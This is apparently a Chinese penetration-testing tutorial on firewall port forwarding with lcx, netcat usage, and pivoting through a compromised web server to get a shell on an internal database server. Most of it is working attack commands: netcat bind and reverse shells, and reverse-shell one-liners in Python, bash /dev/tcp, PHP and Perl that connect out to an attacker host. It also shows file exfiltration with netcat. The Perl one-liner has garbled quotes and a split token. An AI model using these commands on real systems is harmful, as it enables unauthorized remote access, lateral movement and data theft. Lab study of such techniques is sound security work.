如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的端口(例如53),在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。
1.lcx实现本地端口映射
lcx -tran 53 <目标主机的IP地址> 3389
2.netcat
之所以叫作netcat,是因为它是网络上的cat。cat的功能是读取一个文件的内容并传输出到屏幕上,netcat也是如此----从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)。
2.1 netcat基本参数说明
-d 后台模式
-e 程序重定向
-g <网关> 设置路由器跃程通信网关,最多可设置8个
-G <指向器数目> 设置来源路由器指向器,其数值为4的倍数
-h 在线帮助
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口
-l 使用监听模式,管控传入的资料
-n 直接使用IP地址,而不通过域名服务器
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
-p <通信端口> 设置本地主机使用的通信端口;
-r 随机指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 详细输出;
-w <超时秒数> 设置等待连线的时间;
-z 将输入输出关掉,只在扫描通信端口时使用
2.2 netcat的功能
.Banner抓取
服务器的Banner信息能够为系统管理员提供当前网络中的系统信息和所运行服务的情况。服务的Banner信息不仅包含正在运行的服务类型,还包含服务的版本信息。Banner抓取是一种在开放的端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞的评估。
nc -nv 127.0.0.1 80
.连接到远程主机
nc -nvv 192.168.4.134 80
.端口扫描
nc -v 192.168.4.134 80
nc -v -z 192.168.4.134 20-1024
.端口监听
执行如下命令,监听本地端口。当访问该端口时会输出该信息到命令行
nc -l -p 9999
.文件传输
在本地VPS主机中输入如下命令,开始监听,等待连接。一旦连接建立,数据便会流入,
nc -lp 333 > 1.txt
在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为text.txt的文件
nc -vn 192.168.4.134 333 < text.txt -q 1
.简易聊天
在本地VPS主机中输入如下命令,开始监听
nc -l -p 888
在目标主机中输入如下命令,就可以开始聊天
nc -vn 192.168.4.134 888
.获取shell
正向 shell
目标主机监听: Nc -lvp 4444 -e /bin/sh //linux Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows
本地主机: nc 192.168.1.11 4444
反向 shell
本地主机监听: nc -lvp 9999
目标主机: nc 192.168.11.144 9999 -e /bin/sh //linux
nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
目标主机上没有Netcat,获取反向shell
python反向shell
VPS上监听端口: Nc -lvp 2222
目标主机上执行: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM );s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash反向shell
VPS上监听端口: Nc -lvp 4444
目标主机上执行: bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
PHP反向shell
VPS上监听端口: Nc -lvp 2222
目标主机上执行: php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反向shell
VPS上监听端口: Nc -lvp 4444
目标主机上执行: perl -e ‘ use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprot obyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,” >&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh - i”);};’
3.内网代理
3.1 拓扑图
3.2 测试环境
攻击者VPS(kali linux):192.168.4.136
一个小型内网;
三台服务器;
假设已经获取了web服务器的权限,通过Kali linux机器不能直接访问数据库服务器(linux),但通过Web 服务器可以访问数据库服务器(linux)。
测试目标为:获取数据库服务器(linux)的shell
3.3 实验步骤
vps上执行如下命令
nc -lvp 3333
web服务器(跳板机)上执行
nc -v 192.168.4.136 3333 -c "nc -v 1.1.1.10 3333"
数据库服务器上执行
nc -lvp 3333 -e /bin/sh
vps上获取到了数据库服务器的shell,